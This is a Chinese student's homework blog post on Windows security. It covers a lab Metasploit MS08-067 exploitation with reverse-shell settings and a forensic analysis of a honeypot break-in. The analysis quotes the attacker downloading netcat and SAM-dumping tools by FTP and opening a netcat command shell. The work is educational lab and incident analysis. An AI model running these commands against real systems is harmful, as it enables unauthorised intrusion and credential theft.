20199306 2019-2020-2 《网络攻防实践》第七周作业

20199306 2019-2020-2 《网络攻防实践》第七周作业

一.实践内容

Windows操作系统的基本结构

1.Windows操作系统的基本结构如下图所示:

2.Windows内核态基本模块包含:

  • Windows执行体:包含基本的操作系统服务,如内存管理,进程和线程管理,安全性,I/O,网络,跨进程通信。
  • Windows内核:是由一组底层的操作系统功能构成,如线程调度,终端和异常处理分发。以及处理器同步。提供了一组例程和基础对象。执行体的其他部分利用这些例程和对象实现更高层次的功能。
  • 设备驱动程序:硬件设备驱动程序,也包含文件系统和网络驱动程序。其中硬件设备驱动程序将用户的I/O函数调用转化为特定的硬件设备请求。
  • 硬件抽象层:指一层特殊代码,它把内核,设备驱动程序和windows执行体其他部分跟与平台相关的硬件差异隔离开来。
  • 窗口和图形系统:实现了图形用户界面函数。

3.Windows用户态代码模块包含:

  • 系统支持进程:Windows开机自动启动的系统内建服务进程。
  • 环境子系统服务进程:为操作系统运行环境提供支持的服务进程。
  • 用户应用程序:在用户态执行的各类用户应用软件。
  • 核心子系统DLL:即kernel32.dll/user32.dll/gdi32.dll/advapi32.dll等动态连接库文件。

4.在上述系统架构下,Windows操作系统内核中实现了如下的核心机制:

  • Windows进程和线程管理机制:Windows将进程视作可执行程序运行时刻的容器,Windows线程作为指令执行的具体载体。
  • Windows内存管理机制:Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分,对于32位Windows系统而言,2GB4GB区间为系统核心内存,0GB2GB区间为用户态内存。
  • Windows文件管理机制:Windows下使用NTFS文件结构,Windows 使用PE格式的可执行文件,主要分为Dos头、PE头、分段表、以及具体的代码段和数据段等格式。
  • Windows注册表管理机制:注册表被称为Windows操作系统的核心,它的工作原理实质是一个庞大的数据库,存放了关于计算机硬件的配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备的说明以及各种状态信息和数据,包括Windows操作时不断引用的信息。
  • Windows的网络机制:Windows网络组件整体结构如图所示,其不同层次功能为:
    • 网卡硬件设备驱动程序:物理层,厂商提供
    • NDIS库及mimiport驱动:数据链路层,使得协议驱动程序可以以一种与设备无关的方式来跟网络适配器驱动程序进行通信
    • TDI:传输层,将网络请求格式化成IRP,以及申请网络地址和数据通信
    • 网络API DLL及TDI客户端:会话层和表示层,独立于具体协议提供网络交互和实现方式
    • 网络应用服务程序与服务进程:应用层,各种网络API DLL,来实现网络交互和通信功能。

Windows操作系统的安全体系结构与机制

1.Windows安全体系结构:Windows的安全体系结构基于引用监控器这一经典的安全模型。其最核心的是位于内核的SRM安全引用监视器,以及位于用户态的LSASS安全服务,并与winlogin、eventlog等相关服务一起实现身份认证机制。

2.Windows身份认证机制与授权、访问控制机制:

  • Windows下的身份通过一个唯一的SID安全符进行标识
  • Windows为每个用户和计算机设置账户进行管理,并引入用户组来简化用户管理
  • Windows的用户账户的口令通过加密处理之后被保存于SAM或者活动目录AD中。
  • Winlogon、GINA、LSASS服务通过协作来完成本地身份认证的过程。
  • 在程序进程控制块中包含一个安全访问令牌,继承了启动进程的账户的所有访问令牌。
  • Windows下所有需要保护的内容都被抽象成对象,每个对象会关联一个SD安全描述符。

3.Windows安全审计机制和其他安全机制

  • LSAS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存
  • 再次之外,安全中心还具有防火墙、补丁自动更新、病毒防护机制。
  • 安全中心之外还有,IPSec加密与验证机制、EFS加密文件系统、windows文件保护机制等。

Windows远程安全攻防技术

1.windows远程安全攻防的分类

  • 远程口令猜测与破解攻击
  • 攻击windows网络服务
  • 攻击windows客户端及用户

2.Metasploit基础

  • Metasploit的整体架构:
  • Metasploit的相关模块:
    • Exploits:漏洞模块,使用“有效载荷(payloads)”的模块
    • Payloads:有效载荷,由远程运行的代码组成
    • Encoders:编码器,确保“有效载荷”到达目的地
    • Nops:空指令模块,保持“有效载荷”大小一致

3.Windows远程攻击方法的防御措施

  • 口令猜测和破解:关闭不需要的端口、配置主机防火墙来限制上述端口、利用网络防火墙来限制这些服务的访问和禁用存在缺陷的NTLM
  • 远程渗透攻击防范措施:从软件设计上尽量减少渗透攻击、尽可能快的更新安全补丁、为零日漏洞配置缓解攻击配置、利用安全清单插件来固化网络、通过漏洞扫描软件来标识存在的漏洞。

Windows本地安全攻防技术

1.Windows本地特权提升

  • 本地提权的常见三种手段:溢出提权、windows错误系统配置、计划任务提权。
  • 防范措施:及时打补丁、及时跟进厂家的安全警告。

2.Windows敏感信息窃取

  • 包括Windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段。
  • 防范措施:使用安全度高、能抵挡破解的口令。

3.Windows消灭踪迹

  • 主要手段包括、关闭审计功能、清理事件日志。
  • 防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。

4.远程控制与后门

  • 主要手段包括向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
  • 防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

二.实践过程

实践1:Metasploit Windows Attack

  • 任务:使用Metasploit软件进行Windows远程渗透攻击实验;使用Windows Attacker/BT4攻击机尝试对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机访问权;

1.选择的主机信息如下:

  • 攻击机Kali:192.168.200.2
  • 靶机Win2KServer:192.168.200.124

2.kali中输入msfconsole启动kali里面的msfconsole:

3.输入search ms08_067查看漏洞ms08_067详细信息:

4.输入exploit/windows/smb/ms08_067_netapi,然后输入show payloads显示可攻击载荷:

5.输入set payload generic/shell_reverse_tcp设置攻击的载荷为tcp的反向连接,然后输入set LHOST 192.168.200.2设置渗透攻击的主机是kali,输入set RHOST 192.168.200.124设置渗透攻击的靶机IP:

6.输入exploit开始渗透攻击:

7.输入指令ipconfig,得出靶机IP地址,攻击成功:

实践2:解码一次成功的NT系统破解攻击

  • 任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为:lab.wiretrip.net);回答下面的问题:
    • 攻击者使用了什么破解工具进行攻击?
    • 攻击者如何使用这个破解工具进入并控制了系统?
    • 当攻击者获得系统的访问权后做了什么?
    • 我们如何防止这样的攻击?
    • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

1.用wireshark打开那个.log文件,点击统计->http->请求,得到下图。大致可以推出这是在打开网页,因此其中比较突出的部分就应该是攻击代码:

2.使用命令:ip.addr == 213.116.251.162 && ip.addr ==172.16.1.106,进行筛选,找到编号117,发现攻击者打开了系统启动文件boot.ini,同时返现%C0%AF字符,%C0%AF为/的Unicode编码:

3.观察到编号130和编号140中含有msadc,这是进行探测的过程:

4.编号149,通过追踪tcp流,根据 “ADM!ROX!YOUR!WORLD”特征字符串,以及查询语句中使用了dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb,我们可以通过 Google 查询到这次攻击应是由rain forest puppy 编写的 msadc(2).pl渗透攻击代码所发起的:

5.筛选ftp连接,发现直到编号1106连接成功的:

6.追踪TCP流,可以看出:攻击者通过创建了ftpcom脚本,使用ftp连接www.nether.net,并以johna2k为用户haxedj00为密码下载 nc.exe、pdump.exe和samdump.dll。

7.在下载完文件之后,查看到 1224 号数据包,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限:

8.用tcp.port == 6969筛选一下,然后追踪一下TCP流来发现攻击者的行为:

9.防止这样的攻击的方法有:

  • 为这些漏洞打上补丁,
  • 禁用用不着的 RDS 等服务,
  • 防火墙封禁网络内部服务器发起的连接
  • 为 web server 在单独的文件卷上设置虚拟根目录
  • 使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能
  • 使用 IIS Lockdown 和 URLScan 等工具加强 web server

10.攻击者发现了这是一台蜜罐主机:

实践3:Windows系统远程渗透攻击与分析

  • 任务:攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权;防御方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。

1.攻击步骤如实践1;

2.在执行exploit时,进行wireshark抓包:

3.分析结果如下:

  • 源地址192.168.200.2;目标地址192.168.200.124;
  • 源端口4444;目标端口1042;
  • 攻击发起时间:从ARP协议的询问开始;
  • 使用命令为:ipconfig;
  • 由大量的SMB数据包可以推断出是使用MS08-067漏洞攻击;

三.学习中遇到的问题及解决

  • 问题1:在做第一个实验的时候攻击一直不成功,显示靶机找不到。
  • 解决:网关没打开,打开网关之后,攻击成功开始

四.实践总结

  • 实践2不会做,参考了好几个同学,感觉每个同学都是不一样的做法和结果。
  • 实践1和3都是做起来还是比较顺利。
    由此可见,分析类的作业还是比较麻烦。

参考资料

posted @ 2020-04-14 21:14  20199306—胡一鸣  阅读(266)  评论(0编辑  收藏  举报